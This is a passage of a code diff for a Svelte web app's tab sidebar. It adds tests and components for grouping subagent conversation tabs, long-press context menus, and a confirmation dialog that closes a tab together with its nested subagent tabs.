+ it("'Add to group' lists valid parents (no self/descendants/current) and moves the tab", async () => {
+ const onSetTabGroup = renderGrouped();
+ await fireEvent.contextMenu(card("c1"));
+ const candidates = [...document.querySelectorAll<HTMLElement>("[data-group-candidate]")].map(
+ (el) => el.dataset.groupCandidate,
+ );
+ expect(candidates).toEqual(["c2", "solo"]);
+ const solo = document.querySelector<HTMLElement>('[data-group-candidate="solo"]');
+ if (solo === null) throw new Error("solo candidate missing");
+ await fireEvent.click(solo);
+ expect(onSetTabGroup).toHaveBeenCalledWith("c1", "solo");
+ });
+
+ it("a group parent's menu can ungroup all of its direct subagents", async () => {
+ const onSetTabGroup = renderGrouped();
+ await fireEvent.contextMenu(card("p"));
+ expect(screen.queryByRole("menuitem", { name: /Remove from group/ })).toBeNull();
+ await fireEvent.click(screen.getByRole("menuitem", { name: /Ungroup 2 subagents/ }));
+ expect(onSetTabGroup).toHaveBeenCalledTimes(2);
+ expect(onSetTabGroup).toHaveBeenCalledWith("c1", null);
+ expect(onSetTabGroup).toHaveBeenCalledWith("c2", null);
+ });
+
+ it("Escape closes the menu without changing anything", async () => {
+ const onSetTabGroup = renderGrouped();
+ await fireEvent.contextMenu(card("solo"));
+ expect(screen.getByRole("menu")).toBeInTheDocument();
+ await fireEvent.keyDown(window, { key: "Escape" });
+ expect(screen.queryByRole("menu")).toBeNull();
+ expect(onSetTabGroup).not.toHaveBeenCalled();
+ });
+
+ it("touch-and-hold opens the menu and swallows the follow-up click", async () => {
+ vi.useFakeTimers();
+ try {
+ const onSelect = vi.fn();
+ render(TabList, {
+ props: {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect,
+ onClose: vi.fn(),
+ onNewDraft: vi.fn(),
+ onSetTabGroup: vi.fn(),
+ },
+ });
+ await fireEvent.pointerDown(card("solo"), { pointerType: "touch", clientX: 5, clientY: 5 });
+ await vi.advanceTimersByTimeAsync(600);
+ expect(screen.getByRole("menu")).toBeInTheDocument();
+ await fireEvent.click(card("solo"));
+ expect(onSelect).not.toHaveBeenCalled();
+ } finally {
+ vi.useRealTimers();
+ }
+ });
+
+ it("a touch that moves away cancels the long-press", async () => {
+ vi.useFakeTimers();
+ try {
+ renderGrouped();
+ await fireEvent.pointerDown(card("solo"), { pointerType: "touch", clientX: 5, clientY: 5 });
+ await fireEvent.pointerMove(card("solo"), {
+ pointerType: "touch",
+ clientX: 5,
+ clientY: 60,
+ });
+ await vi.advanceTimersByTimeAsync(600);
+ expect(screen.queryByRole("menu")).toBeNull();
+ } finally {
+ vi.useRealTimers();
+ }
+ });
+
+ describe("closing a tab with subagents (confirm + cascade)", () => {
+ const dialog = (): HTMLElement =>
+ screen.getByRole("dialog", { name: "Close subagents too?" });
+
+ async function clickCloseOn(id: string): Promise<void> {
+ await fireEvent.click(within(card(id)).getByRole("button", { name: "Close tab" }));
+ }
+
+ function renderClosable(onClose = vi.fn()) {
+ render(TabList, {
+ props: {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose,
+ onNewDraft: vi.fn(),
+ },
+ });
+ return onClose;
+ }
+
+ it("closes a tab WITHOUT subagents directly — no confirm dialog", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("solo");
+ expect(onClose).toHaveBeenCalledTimes(1);
+ expect(onClose).toHaveBeenCalledWith("solo");
+ expect(screen.queryByRole("dialog")).toBeNull();
+ });
+
+ it("shows ONE confirm dialog for a group parent (never one per descendant)", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("p");
+ // 3 subagent tabs: c1, c2 and the nested grandchild g.
+ expect(dialog()).toHaveTextContent("3 subagent tabs");
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("'No, keep them open' closes only the tab itself", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("p");
+ await fireEvent.click(screen.getByRole("button", { name: /No, keep them open/ }));
+ expect(onClose).toHaveBeenCalledTimes(1);
+ expect(onClose).toHaveBeenCalledWith("p");
+ expect(screen.queryByRole("dialog")).toBeNull();
+ });
+
+ it("'Yes, close all' cascades to every descendant — no further prompts", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("p");
+ await fireEvent.click(screen.getByRole("button", { name: /Yes, close all/ }));
+ // p first, then its transitive descendants in tab order (c1, c2, g).
+ expect(onClose.mock.calls.map((c) => c[0])).toEqual(["p", "c1", "c2", "g"]);
+ expect(screen.queryByRole("dialog")).toBeNull();
+ });
+
+ it("cascades from a mid-level subagent, taking only its own subtree", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("c1");
+ expect(dialog()).toHaveTextContent("1 subagent tab");
+ await fireEvent.click(screen.getByRole("button", { name: /Yes, close all/ }));
+ expect(onClose.mock.calls.map((c) => c[0])).toEqual(["c1", "g"]);
+ });
+
+ it("restores keyboard focus to the opener after cancellation", async () => {
+ renderClosable();
+ const user = userEvent.setup();
+ const opener = within(card("p")).getByRole("button", { name: "Close tab" });
+ await user.click(opener);
+ expect(screen.getByRole("button", { name: "Cancel" })).toHaveFocus();
+ await user.click(screen.getByRole("button", { name: "Cancel" }));
+ expect(opener).toHaveFocus();
+ });
+
+ it("Cancel and backdrop dismiss without closing any tab", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("p");
+ expect(screen.getByRole("button", { name: "Cancel" })).toHaveFocus();
+ await fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
+ expect(screen.queryByRole("dialog")).toBeNull();
+ await clickCloseOn("p");
+ await fireEvent.submit(dialog().querySelector("form") as HTMLFormElement);
+ expect(screen.queryByRole("dialog")).toBeNull();
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("keeps the confirmed subtree snapshot when new tabs arrive", async () => {
+ const onClose = vi.fn();
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose,
+ onNewDraft: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ await clickCloseOn("p");
+ await rerender({
+ ...props,
+ tabs: [
+ ...grouped,
+ {
+ conversationId: "late",
+ model: "m",
+ title: "Late",
+ workspaceId: "w",
+ tabGroupParentId: "p",
+ },
+ ],
+ });
+ expect(dialog()).toHaveTextContent("3 subagent tabs");
+ await fireEvent.click(screen.getByRole("button", { name: /Yes, close all/ }));
+ expect(onClose.mock.calls.map((call) => call[0])).toEqual(["p", "c1", "c2", "g"]);
+ });
+
+ it("dismisses when the target disappears (remote close or workspace switch)", async () => {
+ const onClose = vi.fn();
+ const props = {
+ tabs: grouped,
+ activeConversationId: "p",
+ onSelect: vi.fn(),
+ onClose,
+ onNewDraft: vi.fn(),
+ };
+ const { rerender } = render(TabList, { props });
+ await clickCloseOn("p");
+ await rerender({ ...props, tabs: grouped.filter((tab) => tab.conversationId !== "p") });
+ expect(screen.queryByRole("dialog")).toBeNull();
+ await rerender(props);
+ expect(screen.queryByRole("dialog")).toBeNull();
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("Escape dismisses the dialog without closing anything", async () => {
+ const onClose = renderClosable();
+ await clickCloseOn("p");
+ await fireEvent(dialog(), new Event("cancel", { cancelable: true }));
+ expect(screen.queryByRole("dialog")).toBeNull();
+ expect(onClose).not.toHaveBeenCalled();
+ });
+ });
+ });
});
diff --git a/src/features/tabs/ui/CloseSubagentsConfirm.svelte b/src/features/tabs/ui/CloseSubagentsConfirm.svelte
new file mode 100644
index 0000000..7ffda6c
--- /dev/null
+++ b/src/features/tabs/ui/CloseSubagentsConfirm.svelte
@@ -0,0 +1,83 @@
+<script lang="ts">
+ import type { Tab } from "../tabs";
+
+ /**
+ * The close-subagents confirm dialog: shown when the user closes a tab that
+ * still has subagent tabs in its (visible) subagent group. ONE dialog for
+ * the whole subtree — "Yes" cascades the close to every transitive
+ * descendant (sub-sub-agents included, no further prompts); "No" closes
+ * only the tab itself. Escape / backdrop dismisses without closing anything.
+ * Native modal dialog with daisyUI chrome: top-layer rendering, focus
+ * containment, and inert background even inside the animated sidebar.
+ */
+ let {
+ tab,
+ subagentCount,
+ onKeep,
+ onCloseAll,
+ onDismiss,
+ }: {
+ /** The tab being closed (drives the title shown in the dialog). */
+ tab: Tab;
+ /** Number of tabs in the tab's subagent group (transitive). */
+ subagentCount: number;
+ /** "No" — close only this tab, keep the subagents open. */
+ onKeep: () => void;
+ /** "Yes" — close this tab AND cascade to all its subagents. */
+ onCloseAll: () => void;
+ /** Escape / backdrop — close nothing. */
+ onDismiss: () => void;
+ } = $props();
+ function openModal(node: HTMLDialogElement) {
+ const opener = document.activeElement;
+ node.showModal();
+ return {
+ destroy() {
+ node.close();
+ if (opener instanceof HTMLElement && opener.isConnected) opener.focus();
+ },
+ };
+ }
+</script>
+
+<dialog
+ use:openModal
+ class="modal"
+ aria-label="Close subagents too?"
+ aria-describedby="close-subagents-description"
+ oncancel={(event) => {
+ event.preventDefault();
+ onDismiss();
+ }}
+>
+ <div class="modal-box max-w-md">
+ <h3 class="text-lg font-bold">Close subagents too?</h3>
+ <div id="close-subagents-description" class="flex flex-col gap-1 py-3">
+ <p class="text-sm">
+ "{tab.title}" has {subagentCount}
+ {subagentCount === 1 ? "subagent tab" : "subagent tabs"} (including nested ones).
+ </p>
+ <p class="text-sm">
+ Close them as well? Their own subagents are closed too, and any in-flight turns are
+ stopped.
+ </p>
+ </div>
+ <div class="modal-action flex-wrap">
+ <button type="button" class="btn btn-ghost btn-sm" onclick={onDismiss}>Cancel</button>
+ <button type="button" class="btn btn-sm" onclick={onKeep}>No, keep them open</button>
+ <button type="button" class="btn btn-warning btn-sm" onclick={onCloseAll}>
+ Yes, close all {subagentCount + 1}
+ </button>
+ </div>
+ </div>
+ <form
+ method="dialog"
+ class="modal-backdrop"
+ onsubmit={(event) => {
+ event.preventDefault();
+ onDismiss();
+ }}
+ >
+ <button type="submit" aria-label="Dismiss close confirmation">close</button>
+ </form>
+</dialog>
diff --git a/src/features/tabs/ui/TabCard.svelte b/src/features/tabs/ui/TabCard.svelte
new file mode 100644
index 0000000..ae891c0
--- /dev/null
+++ b/src/features/tabs/ui/TabCard.svelte
@@ -0,0 +1,234 @@
+<script lang="ts">
+ import { cardFlipId } from "../tab-flip";
+ import type { Tab } from "../tabs";
+
+ /**
+ * One tab in the tab grid — a fixed-height card. Every card has IDENTICAL
+ * dimensions; a group parent (`wide`) simply spans both grid columns.
+ * Right-click (or touch-and-hold) asks the owner to open the tab menu.
+ */
+ let {
+ tab,
+ handle,
+ active,
+ status,
+ wide = false,
+ subagentCount = 0,
+ onSelect,
+ onClose,
+ onRename,
+ onMenu,
+ }: {
+ tab: Tab;
+ /** Short-handle (git-style unique prefix) shown in the id badge. */
+ handle: string;
+ active: boolean;
+ /** Lifecycle status (drives the spinner), when known. */
+ status: string | undefined;
+ /** Group parent: spans both grid columns. */
+ wide?: boolean;
+ /** Number of direct subagents (shown on a group parent). */
+ subagentCount?: number;
+ onSelect: (conversationId: string) => void;
+ onClose: (conversationId: string) => void;
+ onRename?: ((conversationId: string, title: string) => void) | undefined;
+ /** Open the tab menu at viewport coordinates. */
+ onMenu: (conversationId: string, x: number, y: number) => void;
+ } = $props();
+
+ // Inline rename: double-click the title to edit, Enter/blur to save.
+ let editing = $state(false);
+ let editValue = $state("");
+ let editEl = $state<HTMLInputElement>();
+
+ function startRename(): void {
+ if (onRename === undefined) return;
+ editing = true;
+ editValue = tab.title;
+ queueMicrotask(() => editEl?.focus());
+ }
+
+ function commitRename(): void {
+ if (!editing) return;
+ const trimmed = editValue.trim();
+ if (trimmed.length > 0 && onRename !== undefined) onRename(tab.conversationId, trimmed);
+ editing = false;
+ }
+
+ // Click-to-copy the FULL conversation id; the badge text is selected as the
+ // feedback (and as a manual-copy fallback when the clipboard is unavailable).
+ async function copyId(el: HTMLElement): Promise<void> {
+ const range = document.createRange();
+ range.selectNodeContents(el);
+ const selection = window.getSelection();
+ selection?.removeAllRanges();
+ selection?.addRange(range);
+ const clipboard = navigator.clipboard;
+ if (clipboard === undefined) return;
+ try {
+ await clipboard.writeText(tab.conversationId);
+ } catch {
+ // Selection already lets the user copy manually.
+ }
+ }
+
+ // Touch-and-hold → menu (iOS Safari never fires `contextmenu`; Android does,
+ // and opening twice at the same spot is idempotent).
+ const LONG_PRESS_MS = 500;
+ const MOVE_TOLERANCE_PX = 10;
+ let pressTimer: ReturnType<typeof setTimeout> | null = null;
+ let pressX = 0;
+ let pressY = 0;
+ let suppressClick = false;
+
+ function cancelPress(): void {
+ if (pressTimer !== null) clearTimeout(pressTimer);
+ pressTimer = null;
+ }
+
+ function onPointerDown(e: PointerEvent): void {
+ if (e.pointerType !== "touch") return;
+ cancelPress();
+ pressX = e.clientX;
+ pressY = e.clientY;
+ pressTimer = setTimeout(() => {
+ pressTimer = null;
+ suppressClick = true;
+ onMenu(tab.conversationId, pressX, pressY);
+ }, LONG_PRESS_MS);
+ }
+
+ function onPointerMove(e: PointerEvent): void {
+ if (pressTimer === null) return;
+ if (Math.hypot(e.clientX - pressX, e.clientY - pressY) > MOVE_TOLERANCE_PX) cancelPress();
+ }
+
+ $effect(() => cancelPress);
+</script>
+
+<div
+ class="tab-card group/card relative flex h-[4.5rem] min-w-0 cursor-pointer flex-col justify-between rounded-md border px-2 py-1.5 text-sm transition-colors {active
+ ? 'border-primary bg-primary/15'
+ : 'border-base-content/10 bg-base-300 hover:border-base-content/25'}"
+ class:col-span-2={wide}
+ role="tab"
+ tabindex="0"
+ aria-selected={active}
+ title={tab.title}
+ data-conversation-id={tab.conversationId}
+ data-flip-id={cardFlipId(tab.conversationId)}
+ data-wide={wide ? "true" : undefined}
+ onclick={() => {
+ if (suppressClick) {
+ suppressClick = false;
+ return;
+ }
+ onSelect(tab.conversationId);
+ }}
+ onkeydown={(e) => {
+ if (e.target !== e.currentTarget) return;
+ if (e.key === "Enter") onSelect(tab.conversationId);
+ else if (e.key === "ContextMenu" || (e.shiftKey && e.key === "F10")) {
+ e.preventDefault();
+ const r = e.currentTarget.getBoundingClientRect();
+ onMenu(tab.conversationId, r.left + 8, r.bottom);
+ }
+ }}
+ oncontextmenu={(e) => {
+ e.preventDefault();
+ cancelPress();
+ onMenu(tab.conversationId, e.clientX, e.clientY);
+ }}
+ onpointerdown={onPointerDown}
+ onpointermove={onPointerMove}
+ onpointerup={cancelPress}
+ onpointercancel={cancelPress}
+ onpointerleave={cancelPress}
+>
+ <div class="flex min-w-0 items-center gap-1">
+ <button
+ type="button"
+ class="shrink-0 select-text rounded bg-base-100 px-1 py-0.5 font-mono text-[10px] leading-none text-base-content/60 transition-colors hover:bg-primary hover:text-primary-content"
+ data-copy-id={tab.conversationId}
+ title="Click to copy conversation id"
+ aria-label={`Copy conversation id ${tab.conversationId}`}
+ onclick={(e) => {
+ e.stopPropagation();
+ void copyId(e.currentTarget);
+ }}
+ >
+ {handle}
+ </button>
+ {#if wide && subagentCount > 0}
+ <span
+ class="shrink-0 truncate rounded bg-base-100 px-1 py-0.5 text-[10px] leading-none text-base-content/60"
+ data-subagent-count={subagentCount}
+ >
+ {subagentCount}
+ {subagentCount === 1 ? "subagent" : "subagents"}
+ </span>
+ {/if}
+ <span class="flex-1"></span>
+ {#if status === "queued"}
+ <!-- Waiting for a concurrency slot — a ring (vs the dots of `active`). -->
+ <span
+ class="loading loading-ring loading-xs shrink-0 text-primary"
+ aria-label="Queued"
+ title="Waiting for a concurrency slot"
+ ></span>
+ {:else if status === "active"}
+ <span class="loading loading-dots loading-xs shrink-0 text-primary"></span>
+ {/if}
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs -mr-1 h-5 min-h-5 w-5 shrink-0 p-0 text-base-content/60"
+ aria-label="Close tab"
+ onclick={(e) => {
+ e.stopPropagation();
+ onClose(tab.conversationId);
+ }}
+ >
+ &times;
+ </button>
+ </div>
+ {#if editing}
+ <input
+ bind:this={editEl}
+ bind:value={editValue}
+ class="w-full min-w-0 rounded bg-base-100 px-1 py-0.5 text-left text-xs outline outline-1 outline-primary"
+ onclick={(e) => e.stopPropagation()}
+ onkeydown={(e) => {
+ if (e.key === "Enter") {
+ e.preventDefault();
+ commitRename();
+ } else if (e.key === "Escape") {
+ e.preventDefault();
+ editing = false;
+ }
+ }}
+ onblur={commitRename}
+ />
+ {:else}
+ <span
+ class="line-clamp-2 min-w-0 break-words text-left text-xs leading-tight"
+ role="button"
+ tabindex="-1"
+ title={tab.title}
+ ondblclick={(e) => {
+ e.stopPropagation();
+ startRename();
+ }}
+ >
+ {tab.title}
+ </span>
+ {/if}
+</div>
+
+<style>
+ /* Touch-and-hold opens the tab menu — suppress the native callout/selection. */
+ .tab-card {
+ -webkit-touch-callout: none;
+ -webkit-user-select: none;
+ user-select: none;
+ }
+</style>
diff --git a/src/features/tabs/ui/TabGroupBox.svelte b/src/features/tabs/ui/TabGroupBox.svelte
new file mode 100644
index 0000000..5b644e0
--- /dev/null
+++ b/src/features/tabs/ui/TabGroupBox.svelte
@@ -0,0 +1,90 @@
+<script lang="ts">
+ import type { Snippet } from "svelte";
+ import type { TabGroupNode } from "../tab-groups";
+ import { groupFlipId } from "../tab-flip";
+ import { groupBleedPx, groupTone, lastRowIsGroup } from "../tab-groups";
+ import type { Tab } from "../tabs";
+ import TabGroupBox from "./TabGroupBox.svelte";
+
+ /**
+ * A subagent group: a tinted box spanning both grid columns that wraps the
+ * group parent's (double-width) card + its subagents' cards. Recursive —
+ * a subagent with its own subagents renders a nested box. The box BLEEDS
+ * outward (negative margin + equal padding, `groupBleedPx`) so the cards
+ * inside stay on the same two columns as top-level cards: every card keeps
+ * identical dimensions at every depth. The padding is EQUAL on all four
+ * sides (= the bleed) so the box looks even — except below a nested box on
+ * the last row, where it is trimmed to match that box's side gaps. Each
+ * box is tinted with one of three theme colours ROTATING by level
+ * (`groupTone`), painted OPAQUE (mixed into the sidebar well colour) so a
+ * nested box never blends with the box around it, plus a border in the same
+ * colour so every box edge reads at a glance. The tint lives on its own
+ * BACKDROP layer so the FLIP animation (`tab-flip.ts`) can fade a new
+ * group's tint in while its cards fly into place.
+ */
+ let {
+ node,
+ level,
+ maxDepth,
+ card,
+ }: {
+ node: TabGroupNode;
+ /** Nesting level of THIS box (1 = outermost). */
+ level: number;
+ maxDepth: number;
+ /** Renders one card: (tab, wide, subagentCount). */
+ card: Snippet<[Tab, boolean, number]>;
+ } = $props();
+
+ const bleed = $derived(groupBleedPx(level, maxDepth));
+ const tone = $derived(groupTone(level));
+ // Even spacing: when the last row is a nested box, the gap below it would
+ // be this box's full padding while its side gaps are only the DIFFERENCE
+ // in bleed (the nested box bleeds outward too) — trim the bottom to match.
+ const padBottom = $derived(
+ lastRowIsGroup(node.children) ? bleed - groupBleedPx(level + 1, maxDepth) : bleed,
+ );
+</script>
+
+<div
+ class="relative col-span-2"
+ style:margin-inline="-{bleed}px"
+ style:padding="{bleed}px {bleed}px {padBottom}px"
+ role="group"
+ aria-label={`Subagents of ${node.tab.title}`}
+ data-tab-group={node.tab.conversationId}
+ data-level={level}
+ data-tone={tone}
+ data-flip-id={groupFlipId(node.tab.conversationId)}
+>
+ <div
+ class="tab-group-backdrop pointer-events-none absolute inset-0 rounded-lg"
+ style:--group-tone="var(--color-{tone})"
+ data-group-backdrop
+ aria-hidden="true"
+ ></div>
+ <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5">
+ {@render card(node.tab, true, node.children.length)}
+ {#each node.children as child (child.tab.conversationId)}
+ {#if child.children.length > 0}
+ <TabGroupBox node={child} level={level + 1} {maxDepth} {card} />
+ {:else}
+ {@render card(child.tab, false, 0)}
+ {/if}
+ {/each}
+ </div>
+</div>
+
+<style>
+ /* Opaque tint: the tone mixed into the sidebar's `.inset-well` colour (the
+ surface the tab grid sits on), so nested boxes replace — never compound
+ with — the colour around them. */
+ .tab-group-backdrop {
+ background-color: color-mix(
+ in oklab,
+ var(--group-tone) 16%,
+ var(--inset-well-bg, var(--color-base-200))
+ );
+ box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--group-tone) 55%, transparent);
+ }
+</style>
diff --git a/src/features/tabs/ui/TabList.svelte b/src/features/tabs/ui/TabList.svelte
index 6d85065..8b388f0 100644
--- a/src/features/tabs/ui/TabList.svelte
+++ b/src/features/tabs/ui/TabList.svelte
@@ -1,183 +1,220 @@
<script lang="ts">
- import type { Tab } from "../tabs";
- import { shortHandle } from "../tabs";
+ import { untrack } from "svelte";
+ import { forestFlipIds } from "../tab-flip";
+ import {
+ buildTabGroups,
+ cascadeCloseIds,
+ directGroupChildren,
+ groupGutterPx,
+ groupParentCandidates,
+ visibleGroupParents,
+ } from "../tab-groups";
+ import type { Tab } from "../tabs";
+ import { shortHandle } from "../tabs";
+ import CloseSubagentsConfirm from "./CloseSubagentsConfirm.svelte";
+ import TabCard from "./TabCard.svelte";
+ import TabGroupBox from "./TabGroupBox.svelte";
+ import TabMenu from "./TabMenu.svelte";
+ import { createTabFlip } from "./tab-flip";
- let {
- tabs,
- activeConversationId,
- statusFor,
- onSelect,
- onClose,
- onNewDraft,
- onRename,
- }: {
- tabs: readonly Tab[];
- activeConversationId: string | null;
- /** Returns the conversation's lifecycle status, or undefined when unknown. */
- statusFor?: (conversationId: string) => string | undefined;
- onSelect: (conversationId: string) => void;
- onClose: (conversationId: string) => void;
- onNewDraft: () => void;
- onRename?: (conversationId: string, title: string) => void;
- } = $props();
+ let {
+ tabs,
+ activeConversationId,
+ statusFor,
+ onSelect,
+ onClose,
+ onNewDraft,
+ onRename,
+ onSetTabGroup,
+ }: {
+ tabs: readonly Tab[];
+ activeConversationId: string | null;
+ /** Returns the conversation's lifecycle status, or undefined when unknown. */
+ statusFor?: (conversationId: string) => string | undefined;
+ onSelect: (conversationId: string) => void;
+ onClose: (conversationId: string) => void;
+ onNewDraft: () => void;
+ onRename?: (conversationId: string, title: string) => void;
+ /**
+ * Move a tab into a subagent group (parent id) or out of it (null). Purely
+ * presentational grouping. When absent, the tab menu is disabled.
+ */
+ onSetTabGroup?: (conversationId: string, parentId: string | null) => void;
+ } = $props();
- // Git-style short handle (shortest unique prefix) per open tab — the visible
- // "tab ID". Derived from the set of open conversation ids; pure helper.
- const handles = $derived.by(() => {
- const ids = tabs.map((t) => t.conversationId);
- const map = new Map<string, string>();
- for (const id of ids) map.set(id, shortHandle(id, ids));
- return map;
- });
+ // Git-style short handle (shortest unique prefix) per open tab — the visible
+ // "tab ID". Derived from the set of open conversation ids; pure helper.
+ const handles = $derived.by(() => {
+ const ids = tabs.map((t) => t.conversationId);
+ const map = new Map<string, string>();
+ for (const id of ids) map.set(id, shortHandle(id, ids));
+ return map;
+ });
+ const handleFor = (id: string): string => handles.get(id) ?? id;
- // Inline rename: double-click a tab's title to edit, Enter/blur to save.
- let editingId = $state<string | null>(null);
- let editValue = $state("");
- let editEl = $state<HTMLInputElement>();
+ // The subagent-group forest (pure) + the gutter the outermost box bleeds into.
+ const forest = $derived(buildTabGroups(tabs));
+ const gutter = $derived(groupGutterPx(forest.maxDepth));
- function startRename(tab: Tab): void {
- if (onRename === undefined) return;
- editingId = tab.conversationId;
- editValue = tab.title;
- // Focus the input after it renders.
- queueMicrotask(() => editEl?.focus());
- }
+ // FLIP: a summoned subagent / closed tab / regroup animates (GSAP Flip).
+ // Capture positions (+ ghost leaving elements) BEFORE the DOM updates, play
+ // AFTER. Keyed on `forest` only; the DOM work itself is untracked.
+ let scrollerEl = $state<HTMLDivElement | undefined>();
+ const flip = createTabFlip(() => scrollerEl);
+ $effect.pre(() => {
+ const next = forestFlipIds(forest);
+ untrack(() => flip.capture(next));
+ });
+ $effect(() => {
+ void forest;
+ untrack(() => flip.play());
+ });
- function commitRename(): void {
- const id = editingId;
- if (id !== null && onRename !== undefined) {
- const trimmed = editValue.trim();
- if (trimmed.length > 0) onRename(id, trimmed);
- }
- editingId = null;
- }
+ // Tab menu (right-click / touch-and-hold). Local UI state owned here.
+ let menu = $state<{ conversationId: string; x: number; y: number } | null>(null);
+ const menuTab = $derived(
+ menu === null ? null : (tabs.find((t) => t.conversationId === menu?.conversationId) ?? null),
+ );
+ const menuGroupParent = $derived.by(() => {
+ if (menuTab === null) return null;
+ const pid = visibleGroupParents(tabs).get(menuTab.conversationId) ?? null;
+ return pid === null ? null : (tabs.find((t) => t.conversationId === pid) ?? null);
+ });
+ const menuChildren = $derived(
+ menuTab === null ? [] : directGroupChildren(tabs, menuTab.conversationId),
+ );
+ const menuCandidates = $derived(
+ menuTab === null ? [] : groupParentCandidates(tabs, menuTab.conversationId),
+ );
- function cancelRename(): void {
- editingId = null;
- }
+ function openMenu(conversationId: string, x: number, y: number): void {
+ if (onSetTabGroup === undefined) return;
+ menu = { conversationId, x, y };
+ }
- // Click-to-copy the agent (conversation) id: clicking the ID badge copies the
- // FULL conversationId to the clipboard (the stable, useful id — the badge
- // only shows a short prefix) and highlights the badge text as feedback. The
- // highlight (text selection) is the indicator — no text is swapped, so the
- // badge keeps a stable width. If the clipboard write fails, the selection is
- // already in place so the user can Ctrl+C the text manually.
- async function copyId(conversationId: string, el: HTMLElement): Promise<void> {
- selectText(el);
- const clipboard = navigator.clipboard;
- if (clipboard === undefined) return;
- try {
- await clipboard.writeText(conversationId);
- } catch {
- // Selection already lets the user copy manually.
- }
- }
+ // Close-with-confirm: a tab whose (visible) subagent group is non-empty
+ // gets ONE confirm dialog covering its whole subtree (never one per level).
+ // The dialog's ids are snapshotted at open time; a tab the backend closed
+ // in the meantime is a no-op for `onClose`. A plain tab closes directly.
+ let closeConfirm = $state<{ tab: Tab; cascadeIds: readonly string[] } | null>(null);
- function selectText(el: HTMLElement): void {
- const range = document.createRange();
- range.selectNodeContents(el);
- const selection = window.getSelection();
- selection?.removeAllRanges();
- selection?.addRange(range);
- }
+ // A remote close or workspace switch must not leave an actionable dialog
+ // for a tab that is no longer in this list.
+ $effect(() => {
+ if (
+ closeConfirm !== null &&
+ !tabs.some((tab) => tab.conversationId === closeConfirm?.tab.conversationId)
+ ) {
+ closeConfirm = null;
+ }
+ });
+
+ function requestClose(conversationId: string): void {
+ menu = null;
+ const cascadeIds = cascadeCloseIds(tabs, conversationId);
+ if (cascadeIds.length <= 1) {
+ onClose(conversationId);
+ return;
+ }
+ const tab = tabs.find((t) => t.conversationId === conversationId);
+ if (tab === undefined) {
+ onClose(conversationId);
+ return;
+ }
+ closeConfirm = { tab, cascadeIds };
+ }
</script>
+{#snippet card(tab: Tab, wide: boolean, subagentCount: number)}
+ <TabCard
+ {tab}
+ handle={handleFor(tab.conversationId)}
+ active={tab.conversationId === activeConversationId}
+ status={statusFor?.(tab.conversationId)}
+ {wide}
+ {subagentCount}
+ {onSelect}
+ onClose={requestClose}
+ {onRename}
+ onMenu={openMenu}
+ />
+{/snippet}
+
<div class="flex flex-col gap-2">
- <!-- Single-column vertical tab list. Fixed at 40% of the viewport height so a
- long tab set scrolls inside this region instead of growing the whole sidebar. -->
- <div class="flex h-[40vh] flex-col gap-1 overflow-y-auto pr-1">
- {#each tabs as tab (tab.conversationId)}
- <div
- class="flex items-center gap-1.5 rounded px-2 py-1.5 text-sm hover:bg-base-300"
- class:bg-base-300={tab.conversationId === activeConversationId}
- role="tab"
- tabindex="0"
- aria-selected={tab.conversationId === activeConversationId}
- title={tab.title}
- onclick={() => onSelect(tab.conversationId)}
- onkeydown={(e) => {
- if (e.key === "Enter") onSelect(tab.conversationId);
- }}
- >
- <button
- type="button"
- class="shrink-0 rounded bg-base-300 px-1 py-0.5 font-mono text-[10px] leading-none text-base-content/60 transition-colors hover:bg-primary hover:text-primary-content"
- data-copy-id={tab.conversationId}
- title="Click to copy conversation id"
- aria-label={`Copy conversation id ${tab.conversationId}`}
- onclick={(e) => {
- e.stopPropagation();
- void copyId(tab.conversationId, e.currentTarget);
- }}
- >
- {handles.get(tab.conversationId) ?? tab.conversationId}
- </button>
- {#if editingId === tab.conversationId}
- <input
- bind:this={editEl}
- bind:value={editValue}
- class="min-w-0 flex-1 rounded bg-base-100 px-1 py-0.5 text-left text-sm outline outline-1 outline-primary"
- onclick={(e) => e.stopPropagation()}
- onkeydown={(e) => {
- if (e.key === "Enter") {
- e.preventDefault();
- commitRename();
- } else if (e.key === "Escape") {
- e.preventDefault();
- cancelRename();
- }
- }}
- onblur={commitRename}
- />
- {:else}
- <span
- class="min-w-0 flex-1 cursor-pointer truncate text-left"
- role="button"
- tabindex="-1"
- title={tab.title}
- ondblclick={(e) => {
- e.stopPropagation();
- startRename(tab);
- }}
- >
- {tab.title}
- </span>
- {/if}
- {#if statusFor?.(tab.conversationId) === "queued"}
- <!-- Waiting for a concurrency slot — a ring (vs the dots of `active`). -->
- <span
- class="loading loading-ring loading-xs shrink-0 text-primary"
- aria-label="Queued"
- title="Waiting for a concurrency slot"
- ></span>
- {:else if statusFor?.(tab.conversationId) === "active"}
- <span class="loading loading-dots loading-xs shrink-0 text-primary"></span>
- {/if}
- <button
- class="btn btn-ghost btn-xs shrink-0"
- aria-label="Close tab"
- onclick={(e) => {
- e.stopPropagation();
- onClose(tab.conversationId);
- }}
- >
- &times;
- </button>
- </div>
- {/each}
- </div>
+ <!-- 2-column grid of same-size tab cards, fixed at 70% of the viewport height
+ so a long tab set scrolls inside this region instead of growing the
+ sidebar. Subagent groups span both columns; `dense` lets a later card
+ fill the half-row a group would otherwise leave empty. -->
+ <div
+ bind:this={scrollerEl}
+ class="relative h-[70vh] overflow-y-auto py-0.5"
+ style:padding-inline="{gutter}px"
+ data-tab-grid
+ onscroll={() => (menu = null)}
+ >
+ <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5" role="tablist">
+ {#each forest.roots as node (node.tab.conversationId)}
+ {#if node.children.length > 0}
+ <TabGroupBox {node} level={1} maxDepth={forest.maxDepth} {card} />
